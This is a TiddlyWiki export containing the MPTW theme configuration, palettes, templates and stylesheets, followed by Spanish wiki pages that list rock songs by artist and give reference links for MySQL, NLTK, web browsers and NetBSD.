|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#MptwConfigPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#MptwConfigPlugin|
!!Note: instead of editing this you should put overrides in MptwUserConfigPlugin
***/
//{{{
var originalReadOnly = readOnly;
var originalShowBackstage = showBackstage;

config.options.chkHttpReadOnly = false; 		// means web visitors can experiment with your site by clicking edit
readOnly = false;								// needed because the above doesn't work any more post 2.1 (??)
showBackstage = true;							// show backstage for same reason

config.options.chkInsertTabs = true;    		// tab inserts a tab when editing a tiddler
config.views.wikified.defaultText = "";			// don't need message when a tiddler doesn't exist
config.views.editor.defaultText = "";			// don't need message when creating a new tiddler 

config.options.chkSaveBackups = true;			// do save backups
config.options.txtBackupFolder = 'twbackup';	// put backups in a backups folder

config.options.chkAutoSave = (window.location.protocol == "file:"); // do autosave if we're in local file

config.mptwVersion = "2.5.3";

config.macros.mptwVersion={handler:function(place){wikify(config.mptwVersion,place);}};

if (config.options.txtTheme == '')
	config.options.txtTheme = 'MptwTheme';

// add to default GettingStarted
config.shadowTiddlers.GettingStarted += "\n\nSee also [[MPTW]].";

// add select theme and palette controls in default OptionsPanel
config.shadowTiddlers.OptionsPanel = config.shadowTiddlers.OptionsPanel.replace(/(\n\-\-\-\-\nAlso see AdvancedOptions)/, "{{select{<<selectTheme>>\n<<selectPalette>>}}}$1");

// these are used by ViewTemplate
config.mptwDateFormat = 'DD/MM/YY';
config.mptwJournalFormat = 'Journal DD/MM/YY';

//}}}
Name: MptwGreen
Background: #fff
Foreground: #000
PrimaryPale: #9b9
PrimaryLight: #385
PrimaryMid: #031
PrimaryDark: #020
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
Name: MptwRed
Background: #fff
Foreground: #000
PrimaryPale: #eaa
PrimaryLight: #c55
PrimaryMid: #711
PrimaryDark: #500
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
|Name|MptwRounded|
|Description|Mptw Theme with some rounded corners (Firefox only)|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
|PageTemplate|MptwTheme##PageTemplate|
|StyleSheet|##StyleSheet|

!StyleSheet
/*{{{*/

[[MptwTheme##StyleSheet]]

.tiddler,
.sliderPanel,
.button,
.tiddlyLink,
.tabContents
{ -moz-border-radius: 1em; }

.tab {
	-moz-border-radius-topleft: 0.5em;
	-moz-border-radius-topright: 0.5em;
}
#topMenu {
	-moz-border-radius-bottomleft: 2em;
	-moz-border-radius-bottomright: 2em;
}

/*}}}*/
Name: MptwSmoke
Background: #fff
Foreground: #000
PrimaryPale: #aaa
PrimaryLight: #777
PrimaryMid: #111
PrimaryDark: #000
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
|Name|MptwStandard|
|Description|Mptw Theme with the default TiddlyWiki PageLayout and Styles|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
Name: MptwTeal
Background: #fff
Foreground: #000
PrimaryPale: #B5D1DF
PrimaryLight: #618FA9
PrimaryMid: #1a3844
PrimaryDark: #000
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #f8f8f8
TertiaryLight: #bbb
TertiaryMid: #999
TertiaryDark: #888
Error: #f88
|Name|MptwTheme|
|Description|Mptw Theme including custom PageLayout|
|PageTemplate|##PageTemplate|
|ViewTemplate|##ViewTemplate|
|EditTemplate|##EditTemplate|
|StyleSheet|##StyleSheet|

http://mptw.tiddlyspot.com/#MptwTheme ($Rev: 1829 $)

!PageTemplate
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
	<div class='headerShadow'>
		<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
		<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
	</div>
	<div class='headerForeground'>
		<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
		<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
	</div>
</div>
<!-- horizontal MainMenu -->
<div id='topMenu' refresh='content' tiddler='MainMenu'></div>
<!-- original MainMenu menu -->
<!-- <div id='mainMenu' refresh='content' tiddler='MainMenu'></div> -->
<div id='sidebar'>
	<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
	<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>

        <div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>
	<div id='messageArea'></div>
	<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->

!ViewTemplate
<!--{{{-->
[[MptwTheme##ViewTemplateToolbar]]

<div class="tagglyTagged" macro="tags"></div>

<div class='titleContainer'>
	<span class='title' macro='view title'></span>
	<span macro="miniTag"></span>
</div>

<div class='subtitle'>
	(updated <span macro='view modified date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>
	by <span macro='view modifier link'></span>)
	<!--
	(<span macro='message views.wikified.createdPrompt'></span>
	<span macro='view created date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>)
	-->
</div>

<div macro="showWhen tiddler.tags.containsAny(['css','html','pre','systemConfig']) && !tiddler.text.match('{{'+'{')">
	<div class='viewer'><pre macro='view text'></pre></div>
</div>
<div macro="else">
	<div class='viewer' macro='view text wikified'></div>
</div>

<div class="tagglyTagging" macro="tagglyTagging"></div>

<!--}}}-->

!ViewTemplateToolbar
<!--{{{-->
<div class='toolbar'>

	<span macro="showWhenTagged systemConfig">
		<span macro="toggleTag systemConfigDisable . '[[disable|systemConfigDisable]]'"></span>
	</span>
	<span macro="showWhenTagged systemTheme"><span macro="applyTheme"></span></span>
	<span macro="showWhenTagged systemPalette"><span macro="applyPalette"></span></span>
	<span macro="showWhen tiddler.tags.contains('css') || tiddler.title == 'StyleSheet'"><span macro="refreshAll"></span></span>
	<span style="padding:1em;"></span>
	<span macro='toolbar closeTiddler closeOthers +editTiddler deleteTiddler > fields syncing permalink references jump'></span> <span macro='newHere label:"new here"'></span>
	<span macro='newJournalHere {{config.mptwJournalFormat?config.mptwJournalFormat:"MM/0DD/YY"}}'></span>
</div>
<!--}}}-->

!EditTemplate
<!--{{{-->
<div class="toolbar" macro="toolbar +saveTiddler saveCloseTiddler closeOthers -cancelTiddler cancelCloseTiddler deleteTiddler"></div>
<div class="title" macro="view title"></div>
<div class="editLabel">Title</div><div class="editor" macro="edit title"></div>
<div macro='annotations'></div>
<div class="editLabel">Content</div><div class="editor" macro="edit text"></div>
<div class="editLabel">Tags</div><div class="editor" macro="edit tags"></div>
<div class="editorFooter"><span macro="message views.editor.tagPrompt"></span><span macro="tagChooser"></span></div>
<div class='editor' macro='edit alias'></div><div class='editorFooter'><span macro='message abegoTiddlerAlias.lingo.aliasPrompt'></span></div>
<!--}}}-->

!StyleSheet
/*{{{*/

/* a contrasting background so I can see where one tiddler ends and the other begins */
body {
	background: [[ColorPalette::TertiaryLight]];
}

/* sexy colours and font for the header */
.headerForeground {
	color: [[ColorPalette::PrimaryPale]];
}
.headerShadow, .headerShadow a {
	color: [[ColorPalette::PrimaryMid]];
}

/* separate the top menu parts */
.headerForeground, .headerShadow {
	padding: 1em 1em 0;
}

.headerForeground, .headerShadow {
	font-family: 'Trebuchet MS' sans-serif;
	font-weight:bold;
}
.headerForeground .siteSubtitle {
	color: [[ColorPalette::PrimaryLight]];
}
.headerShadow .siteSubtitle {
	color: [[ColorPalette::PrimaryMid]];
}

/* make shadow go and down right instead of up and left */
.headerShadow {
	left: 1px;
	top: 1px;
}

/* prefer monospace for editing */
.editor textarea, .editor input {
	font-family: 'Consolas' monospace;
	background-color:[[ColorPalette::TertiaryPale]];
}


/* sexy tiddler titles */
.title {
	font-size: 250%;
	color: [[ColorPalette::PrimaryLight]];
	font-family: 'Trebuchet MS' sans-serif;
}

/* more subtle tiddler subtitle */
.subtitle {
	padding:0px;
	margin:0px;
	padding-left:1em;
	font-size: 90%;
	color: [[ColorPalette::TertiaryMid]];
}
.subtitle .tiddlyLink {
	color: [[ColorPalette::TertiaryMid]];
}

/* a little bit of extra whitespace */
.viewer {
	padding-bottom:3px;

}

/* don't want any background color for headings */
h1,h2,h3,h4,h5,h6 {
	background-color: transparent;
	color: [[ColorPalette::Foreground]];
}

/* give tiddlers 3d style border and explicit background */
.tiddler {
	background: [[ColorPalette::Background]];
	border-right: 2px [[ColorPalette::TertiaryMid]] solid;
	border-bottom: 2px [[ColorPalette::TertiaryMid]] solid;
	margin-bottom: 1em;
	padding:1em 2em 2em 1.5em;
}

/* make options slider look nicer */
#sidebarOptions .sliderPanel {
	border:solid 1px [[ColorPalette::PrimaryLight]];
}

/* the borders look wrong with the body background */
#sidebar .button {
	border-style: none;
}

/* this means you can put line breaks in SidebarOptions for readability */
#sidebarOptions br {
	display:none;
}
/* undo the above in OptionsPanel */
#sidebarOptions .sliderPanel br {
	display:inline;
}
/* Max vertical size and scrollbar 
#sidebarTabs {
	max-height:300px;
	overflow:auto;
}
*/
/* horizontal main menu stuff */
#displayArea {
	margin: 1em 15.7em 0em 1em; /* use the freed up space */
}
#topMenu br {
	display: none;
}
#topMenu {
	background: [[ColorPalette::PrimaryMid]];
	color:[[ColorPalette::PrimaryPale]];
}
#topMenu {
	padding:2px;
}
#topMenu .button, #topMenu .tiddlyLink, #topMenu a {
	margin-left: 0.5em;
	margin-right: 0.5em;
	padding-left: 3px;
	padding-right: 3px;
	color: [[ColorPalette::PrimaryPale]];
	font-size: 115%;
}
#topMenu .button:hover, #topMenu .tiddlyLink:hover {
	background: [[ColorPalette::PrimaryDark]];
}

/* make 2.2 act like 2.1 with the invisible buttons */
.toolbar {
	visibility:hidden;
}
.selected .toolbar {
	visibility:visible;
}

/* experimental. this is a little borked in IE7 with the button 
 * borders but worth it I think for the extra screen realestate */
.toolbar { float:right; }

/* fix for TaggerPlugin. from sb56637. improved by FND */
.popup li .tagger a {
   display:inline;
}

/* makes theme selector look a little better */
#sidebarOptions .sliderPanel .select .button {
  padding:0.5em;
  display:block;
}
#sidebarOptions .sliderPanel .select br {
	display:none;
}

/* make it print a little cleaner */
@media print {
	#topMenu {
		display: none ! important;
	}
	/* not sure if we need all the importants */
	.tiddler {
		border-style: none ! important;
		margin:0px ! important;
		padding:0px ! important;
		padding-bottom:2em ! important;
	}
	.tagglyTagging .button, .tagglyTagging .hidebutton {
		display: none ! important;
	}
	.headerShadow {
		visibility: hidden ! important;
	}
	.tagglyTagged .quickopentag, .tagged .quickopentag {
		border-style: none ! important;
	}
	.quickopentag a.button, .miniTag {
		display: none ! important;
	}
}


/* get user styles specified in StyleSheet */
[[StyleSheet]]

/*}}}*/
|Name|MptwThemeModificado|
|Description|Mptw Theme including custom PageLayout|
|PageTemplate|##PageTemplate|
|ViewTemplate|##ViewTemplate|
|EditTemplate|##EditTemplate|
|StyleSheet|##StyleSheet|

http://mptw.tiddlyspot.com/#MptwTheme ($Rev: 1829 $)

!PageTemplate
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
	<div class='headerShadow'>
		<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
		<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
	</div>
	<div class='headerForeground'>
		<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
		<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
	</div>
</div>
<!-- horizontal MainMenu -->
<div id='topMenu' refresh='content' tiddler='MainMenu'></div>
<!-- original MainMenu menu -->
<!-- <div id='mainMenu' refresh='content' tiddler='MainMenu'></div> -->
<div id='sidebar'>
	<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
	<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>

        <div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>
	<div id='messageArea'></div>
	<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->

!ViewTemplate
<!--{{{-->
[[MptwTheme##ViewTemplateToolbar]]

<div class="tagglyTagged" macro="tags"></div>

<div class='titleContainer'>
	<span class='title' macro='view title'></span>
	<span macro="miniTag"></span>
</div>

<div class='subtitle'>
	(updated <span macro='view modified date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>
	by <span macro='view modifier link'></span>)
	<!--
	(<span macro='message views.wikified.createdPrompt'></span>
	<span macro='view created date {{config.mptwDateFormat?config.mptwDateFormat:"MM/0DD/YY"}}'></span>)
	-->
</div>

<div macro="showWhen tiddler.tags.containsAny(['css','html','pre','systemConfig']) && !tiddler.text.match('{{'+'{')">
	<div class='viewer'><pre macro='view text'></pre></div>
</div>
<div macro="else">
	<div class='viewer' macro='view text wikified'></div>
</div>

<div class="tagglyTagging" macro="tagglyTagging"></div>

<!--}}}-->

!ViewTemplateToolbar
<!--{{{-->
<div class='toolbar'>

	<span macro="showWhenTagged systemConfig">
		<span macro="toggleTag systemConfigDisable . '[[disable|systemConfigDisable]]'"></span>
	</span>
	<span macro="showWhenTagged systemTheme"><span macro="applyTheme"></span></span>
	<span macro="showWhenTagged systemPalette"><span macro="applyPalette"></span></span>
	<span macro="showWhen tiddler.tags.contains('css') || tiddler.title == 'StyleSheet'"><span macro="refreshAll"></span></span>
	<span style="padding:1em;"></span>
	<span macro='toolbar closeTiddler closeOthers +editTiddler deleteTiddler > fields syncing permalink references jump'></span> <span macro='newHere label:"new here"'></span>
	<span macro='newJournalHere {{config.mptwJournalFormat?config.mptwJournalFormat:"MM/0DD/YY"}}'></span>
</div>
<!--}}}-->

!EditTemplate
<!--{{{-->
<div class="toolbar" macro="toolbar +saveTiddler saveCloseTiddler closeOthers -cancelTiddler cancelCloseTiddler deleteTiddler"></div>
<div class="title" macro="view title"></div>
<div class="editLabel">Title</div><div class="editor" macro="edit title"></div>
<div macro='annotations'></div>
<div class="editLabel">Content</div><div class="editor" macro="edit text"></div>
<div class="editLabel">Tags</div><div class="editor" macro="edit tags"></div>
<div class="editorFooter"><span macro="message views.editor.tagPrompt"></span><span macro="tagChooser"></span></div>
<!--}}}-->

!StyleSheet
/*{{{*/

/* a contrasting background so I can see where one tiddler ends and the other begins */
body {
	background: [[ColorPalette::TertiaryLight]];
}

/* sexy colours and font for the header */
.headerForeground {
	color: [[ColorPalette::PrimaryPale]];
}
.headerShadow, .headerShadow a {
	color: [[ColorPalette::PrimaryMid]];
}

/* separate the top menu parts */
.headerForeground, .headerShadow {
	padding: 1em 1em 0;
}

.headerForeground, .headerShadow {
	font-family: 'Trebuchet MS' sans-serif;
	font-weight:bold;
}
.headerForeground .siteSubtitle {
	color: [[ColorPalette::PrimaryLight]];
}
.headerShadow .siteSubtitle {
	color: [[ColorPalette::PrimaryMid]];
}

/* make shadow go and down right instead of up and left */
.headerShadow {
	left: 1px;
	top: 1px;
}

/* prefer monospace for editing */
.editor textarea, .editor input {
	font-family: 'Consolas' monospace;
	background-color:[[ColorPalette::TertiaryPale]];
}


/* sexy tiddler titles */
.title {
	font-size: 250%;
	color: [[ColorPalette::PrimaryLight]];
	font-family: 'Trebuchet MS' sans-serif;
}

/* more subtle tiddler subtitle */
.subtitle {
	padding:0px;
	margin:0px;
	padding-left:1em;
	font-size: 90%;
	color: [[ColorPalette::TertiaryMid]];
}
.subtitle .tiddlyLink {
	color: [[ColorPalette::TertiaryMid]];
}

/* a little bit of extra whitespace */
.viewer {
	padding-bottom:3px;

}

/* don't want any background color for headings */
h1,h2,h3,h4,h5,h6 {
	background-color: transparent;
	color: [[ColorPalette::Foreground]];
}

/* give tiddlers 3d style border and explicit background */
.tiddler {
	background: [[ColorPalette::Background]];
	border-right: 2px [[ColorPalette::TertiaryMid]] solid;
	border-bottom: 2px [[ColorPalette::TertiaryMid]] solid;
	margin-bottom: 1em;
	padding:1em 2em 2em 1.5em;
}

/* make options slider look nicer */
#sidebarOptions .sliderPanel {
	border:solid 1px [[ColorPalette::PrimaryLight]];
}

/* the borders look wrong with the body background */
#sidebar .button {
	border-style: none;
}

/* this means you can put line breaks in SidebarOptions for readability */
#sidebarOptions br {
	display:none;
}
/* undo the above in OptionsPanel */
#sidebarOptions .sliderPanel br {
	display:inline;
}
/* Max vertical size and scrollbar 
#sidebarTabs {
	max-height:300px;
	overflow:auto;
}
*/
/* horizontal main menu stuff */
#displayArea {
	margin: 1em 15.7em 0em 1em; /* use the freed up space */
}
#topMenu br {
	display: none;
}
#topMenu {
	background: [[ColorPalette::PrimaryMid]];
	color:[[ColorPalette::PrimaryPale]];
}
#topMenu {
	padding:2px;
}
#topMenu .button, #topMenu .tiddlyLink, #topMenu a {
	margin-left: 0.5em;
	margin-right: 0.5em;
	padding-left: 3px;
	padding-right: 3px;
	color: [[ColorPalette::PrimaryPale]];
	font-size: 115%;
}
#topMenu .button:hover, #topMenu .tiddlyLink:hover {
	background: [[ColorPalette::PrimaryDark]];
}

/* make 2.2 act like 2.1 with the invisible buttons */
.toolbar {
	visibility:hidden;
}
.selected .toolbar {
	visibility:visible;
}

/* experimental. this is a little borked in IE7 with the button 
 * borders but worth it I think for the extra screen realestate */
.toolbar { float:right; }

/* fix for TaggerPlugin. from sb56637. improved by FND */
.popup li .tagger a {
   display:inline;
}

/* makes theme selector look a little better */
#sidebarOptions .sliderPanel .select .button {
  padding:0.5em;
  display:block;
}
#sidebarOptions .sliderPanel .select br {
	display:none;
}

/* make it print a little cleaner */
@media print {
	#topMenu {
		display: none ! important;
	}
	/* not sure if we need all the importants */
	.tiddler {
		border-style: none ! important;
		margin:0px ! important;
		padding:0px ! important;
		padding-bottom:2em ! important;
	}
	.tagglyTagging .button, .tagglyTagging .hidebutton {
		display: none ! important;
	}
	.headerShadow {
		visibility: hidden ! important;
	}
	.tagglyTagged .quickopentag, .tagged .quickopentag {
		border-style: none ! important;
	}
	.quickopentag a.button, .miniTag {
		display: none ! important;
	}
}


/* get user styles specified in StyleSheet 
[[StyleSheet]]
*/


[[StyleSheetSyntaxHighlighter]]

.HideSideBarButton {float:right;} 

/*}}}*/
|Name|MptwTrim|
|Description|Mptw Theme with a reduced header to increase useful space|
|ViewTemplate|MptwTheme##ViewTemplate|
|EditTemplate|MptwTheme##EditTemplate|
|StyleSheet|MptwTheme##StyleSheet|
|PageTemplate|##PageTemplate|

!PageTemplate
<!--{{{-->

<!-- horizontal MainMenu -->
<div id='topMenu' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<span refresh='content' tiddler='SiteTitle' style="padding-left:1em;font-weight:bold;"></span>:
<span refresh='content' tiddler='MainMenu'></span>
</div>
<div id='sidebar'>
	<div id='sidebarOptions'>
		<div refresh='content' tiddler='SideBarOptions'></div>
		<div style="margin-left:0.1em;"
			macro='slider chkTabSliderPanel SideBarTabs {{"tabs \u00bb"}} "Show Timeline, All, Tags, etc"'></div>
	</div>
</div>
<div id='displayArea'>
	<div id='messageArea'></div>
	<div id='tiddlerDisplay'></div>
</div>
For upgrading. See [[ImportTiddlers]].
URL: http://mptw.tiddlyspot.com/upgrade.html
/***
|Description:|A place to put your config tweaks so they aren't overwritten when you upgrade MPTW|
See http://www.tiddlywiki.org/wiki/Configuration_Options for other options you can set. In some cases where there are clashes with other plugins it might help to rename this to zzMptwUserConfigPlugin so it gets executed last.
***/
//{{{

// example: set your preferred date format
//config.mptwDateFormat = 'MM/0DD/YY';
//config.mptwJournalFormat = 'Journal MM/0DD/YY';

// example: set the theme you want to start with
//config.options.txtTheme = 'MptwRoundTheme';

// example: switch off autosave, switch on backups and set a backup folder
//config.options.chkSaveBackups = true;
//config.options.chkAutoSave = false;
//config.options.txtBackupFolder = 'backups';

// uncomment to disable 'new means new' functionality for the new journal macro
//config.newMeansNewForJournalsToo = false;

//}}}
<<showtoc>>
!Descripción
<part descripcion>
Selección de temazos y buenas canciones, ordenadas por autor
</part>
! Canciones por autor
<part enlaces>
!! A
!!! Aerosmith
* Dream on:
** http://www.goear.com/listen/83b9265/aerosmith-dream-on-aerosmith-dream-on
** http://grooveshark.com/s/Dream+On/iIAcp?src=5
!!! Asfalto
* Días de escuela:
** http://www.goear.com/listen/77c8f75/dias-de-escuela-asfalto
** http://grooveshark.com/s/Dias+De+Escuela/4GYOiW?src=5
* La paz es verde:
** http://www.goear.com/listen/ec7c328/la-paz-es-verde-asfalto
** http://grooveshark.com/s/La+Paz+Es+Verde/3g9rAc?src=5
!! B
!!! Barón Rojo
* Breakthoven
** http://www.goear.com/listen/af13e97/breakthoven-baron-rojo
** http://grooveshark.com/s/Breakthoveen/47K9AU?src=5
* Cuerdas de acero
** http://www.goear.com/listen/e88cd05/cuerdas-de-acero-baron-rojo
** http://grooveshark.com/s/Cuerdas+De+Acero/4wTe3B?src=5
* Hijos del blues
** http://www.goear.com/listen/1afe557/hijos-del-blues-baron-rojo
** http://grooveshark.com/s/Hijos+Del+Blues/3BAFSc?src=5
* Hijos de Caín
** http://www.goear.com/listen/09fed12/hijos-de-cain-baron-rojo
** http://grooveshark.com/s/Hijos+De+Cain/4yyLIq?src=5
* Los roqueros van al infierno
** http://www.goear.com/listen/d03f8a4/los-rockeros-van-al-infierno-baron-rojo
** http://grooveshark.com/s/Los+Rockeros+Van+Al+Infierno/4yyCCM?src=5
* Malo
** http://www.goear.com/listen/ca00211/el-malo-baron-rojo
** http://grooveshark.com/s/Malo/47KDQx?src=5
* Resistiré
** http://www.goear.com/listen/e89d2ce/resistirampegrave-barampograven-rojo
** http://grooveshark.com/s/Resistir/3yetCU?src=5
* Tierra de vándalos
** http://grooveshark.com/s/Tierra+De+Vandalos/4F6sTf?src=5
** http://www.goear.com/listen/852812f/tierra-de-vandalos-baron-rojo
!! F
!!! Foreigner
* Cold as ice:
** http://www.goear.com/listen/0d88a67/cold-as-ice-foreigner
** http://grooveshark.com/s/Cold+As+Ice/3ytv4U?src=5
!! J
!!! Judas Priest
* Turbo lover:
** http://www.goear.com/listen/fb676fc/turbo-lover-judas-priest
** http://grooveshark.com/s/Turbo+Lover/4vNZ3V?src=5
* Breaking the law:
** http://www.goear.com/listen/288a3ce/breaking-the-law-judas-priest
** http://grooveshark.com/s/Breaking+The+Law/4uLSkh?src=5
!! N
!!! Neil Young
* Rocking in the free world
** http://www.goear.com/listen/cbcfbfd/rockin-in-the-free-world-neil-young
** http://grooveshark.com/s/Rocking+In+The+Free+World/3P3sVk?src=5
!! O
!!! Obús
* Esta ronda la paga Obús
** http://www.goear.com/listen/555e5bc/esta-ronda-la-paga-obus-obus
** http://grooveshark.com/s/Esta+Ronda+La+Paga+OBUS/2VrsTo?src=5
* Que te jodan
** http://www.goear.com/listen/48a93f0/que-te-jodan-obus
** http://grooveshark.com/s/Que+Te+Jodan/3KveEv?src=5
!! R
!!! Rosendo
* Vagabundear (versión del tema de Serrat)
** http://www.goear.com/listen/88c82fd/vagabundear-rosendo
!!! Roy Orbison
* Anything you want:
** http://www.goear.com/listen/487adba/anything-you-want-yoy-got-it-roy-orbison
** http://grooveshark.com/s/Anything+You+Want/2U4VYp?src=5
* I Drove All Night:
** http://www.goear.com/listen/2e8784e/i-drove-all-night-roy-orbison
** http://grooveshark.com/s/I+Drove+All+Night/3hbjBS?src=5
* Pretty Woman:
** http://www.goear.com/listen/788ae00/pretty-woman-roy-orbison
** http://grooveshark.com/s/PRETTY+WOMAN/2KfsRi?src=5
!! S
!!! Sweet
* Action:
** http://grooveshark.com/s/Action/3yUOmM?src=5
* Ballroom Blitz:
** http://www.goear.com/listen/90d77e1/ballroom-blitz-the-sweet
** http://grooveshark.com/s/Ballroom+Blitz/3Fdj2l?src=5
* Fox on the run:
** http://www.goear.com/listen/0a9a8d8/fox-on-the-run-the-sweet
** http://grooveshark.com/s/Fox+On+The+Run/3FdnkV?src=5
* Love is like oxigen:
** http://www.goear.com/listen/cab6f09/love-is-like-oxygen-sweet-
** http://grooveshark.com/s/LOVE+IS+LIKE+OXIGEN/2FRcBd?src=5
!! U
!!! UFO
* Doctor doctor:
** http://www.goear.com/listen/b104b31/doctor-doctor-ufo
** http://grooveshark.com/s/Doctor+Doctor/364jaG?src=5
* Lights out:
** http://www.goear.com/listen/13770d5/lights-out-ufo
** http://grooveshark.com/s/2+01+Lights+Out/3y46W8?src=5
* Prince Kajuku:
** http://grooveshark.com/s/Prince+Kajuku/3UN4Cb?src=5
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Base de datos relacional de código fuente libre, muy utilizada en proyectos de pequeña y mediana envergadura y ofrecida por numerosos servicios de hosting como "opción estándar" de base de datos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/MySQL
** Página principal: http://www.mysql.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
NLTK son las siglas de Natural Language Tool Kit, que consiste en un conjunto de herramientas para [[Python]] cuyo objetivo es simplificar el procesado de lenguajes naturales. Lenguajes naturales son los lenguajes que entienden normalmente las personas, como el inglés o el español. En resumen, NLTK es una librería para Python que permite a los programas que la utilicen comprender frases sencillas en un idioma como el español.

! Referencias:
* Documentación diversa: http://www.nltk.org/documentation
* Introducción a NLTK: http://www.nltk.org/getting-started
* Artículo de IBM: http://www.ibm.com/developerworks/linux/library/l-cpnltk.html?S_TACT=105AGX03&S_CMP=EDU
* Libro: http://www.nltk.org/book
<<showtoc>>
!Descripción
<part descripcion>
Software de navegación de internet. O lo que es lo mismo, programas capaces de descargar e interpretar datos mediante el protocolo HTTP sobre TCP/IP.
</part>
! Enlaces
<part enlaces>
!! Información general
* ¿Como funcionan los navegadores modernos?: http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/?ModPagespeed=noscript
!! Navegadores multiplataforma
!!! Navegadores gráficos
* Firefox: http://www.mozilla-europe.org/es/firefox/
* Chrome: http://www.google.com/chrome
* Opera: http://www.opera.com
* Amaya W3C editor/browser: http://www.w3.org/Amaya/
* Flock: http://flock.com/

!!!! Extensiones
* Capture Fox (firefox): http://www.elwebmaster.com/general/capturefox-plugin-para-firefox-que-permite-capturar-en-video-tu-pantalla

!!! Navegadores de consola de texto
* Lynx: http://lynx.isc.org/
* Links: http://links.sourceforge.net/
* w3m: http://w3m.sourceforge.net/
* elinks: http://elinks.or.cz/

!!Navegadores no multiplataforma
!!! [[Windows]]
* Microsoft Internet Explorer: http://www.microsoft.com/spain/windows/internet-explorer/
* Lunascape: http://www.lunascape.tv/
* Avant Browser: http://www.avantbrowser.com/
* Maxton: http://www.maxthon.com/
* k-meleon: http://kmeleon.sourceforge.net/
* Sleipnir: http://www.fenrir-inc.com/global/

!!! MacOS
* Apple Safari (en windows no es estable): http://www.apple.com/safari/
* """iCab""": http://en.wikipedia.org/wiki/ICab
* Omniweb: http://www.omnigroup.com/products/omniweb/
* Shiira: http://shiira.jp/en

!!! [[*NIX]]
* Konqueror: http://www.konqueror.org/
* Dillo: http://www.dillo.org/
* Galeon: http://galeon.sourceforge.net/
* Epiphany: http://en.wikipedia.org/wiki/Epiphany_(browser)
* Swiftfox: http://www.getswiftfox.com/

!! Para Móviles
 http://en.wikipedia.org/wiki/Mobile_browser

!!! Varias plataformas
* Opera Mobile: http://www.opera.com/products/mobile/

!!! Windows Mobile
* Minimo: http://www-archive.mozilla.org/projects/minimo/

!!! Maemo
* Fnnec: http://www.mozilla.com/mobile/

!!! Android
* Steel: http://www.kolbysoft.com/

!!! J2ME
* Skyfire: http://www.skyfire.com/
* Opera Mini: http://www.opera.com/mini/
* Bolt: http://boltbrowser.com/home.html
* Tea Shark: http://www.teashark.com/

!!! iPhone
* Ibis: http://ibis.ne.jp/en/products/ibisMail_iPhone/

!!Navegadores gráficos ligeros
* Midori: http://www.twotoasts.de/index.php?/pages/midori_summary.html#
* Arora: http://code.google.com/p/arora
* Dillo: http://www.dillo.org/
* k-meleon: http://kmeleon.sourceforge.net/

!!Editores web
* Amaya W3C editor/browser: http://www.w3.org/Amaya/
* Kompozer: http://www.kompozer.net

!!Compatibilidad con los estándares
* Can I use: http://caniuse.com/
* Quirks mode: http://www.quirksmode.org/compatibility.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
NetBSD es un sistema operativo de la familia [[BSD]] y compatible con el estándar POSIX. Está basado en la versión 4.4 de [[BSD]].

Esta versión de BSD está orientada a la portabilidad a múltiples plataformas, la seguridad y la estabilidad.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/NetBSD
** Página principal: http://www.netbsd.org/
